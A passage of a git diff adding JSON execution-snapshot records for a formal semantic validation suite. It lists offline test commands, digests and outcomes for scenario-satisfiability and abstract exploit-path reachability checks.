"specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "ee943ee27fc4026af63dc5b6f59751688d707c7f", + "source_state": { + "base_revision": "ee943ee27fc4026af63dc5b6f59751688d707c7f", + "checkout_state": "modified", + "implementation_digest": "889f03ada3caf66a7d1637faae0937a9e48e742a874d11e1a45acbd0923e5aa4", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v37.json b/docs/research/formal-semantic-validation/execution-snapshot-v37.json new file mode 100644 index 000000000..cbd456ee7 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v37.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1072-execution-v36", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v36.json", + "release_revision": "37.0.0", + "release_sha256": "d5d1410f6744b58910214f44f86fb66db2b5f413706a717e11a99074e1725262" + }, + "captured_at": "2026-09-20T08:45:02.189874+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1072-execution-v37", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "The fixtures establish layer separation, not outcome 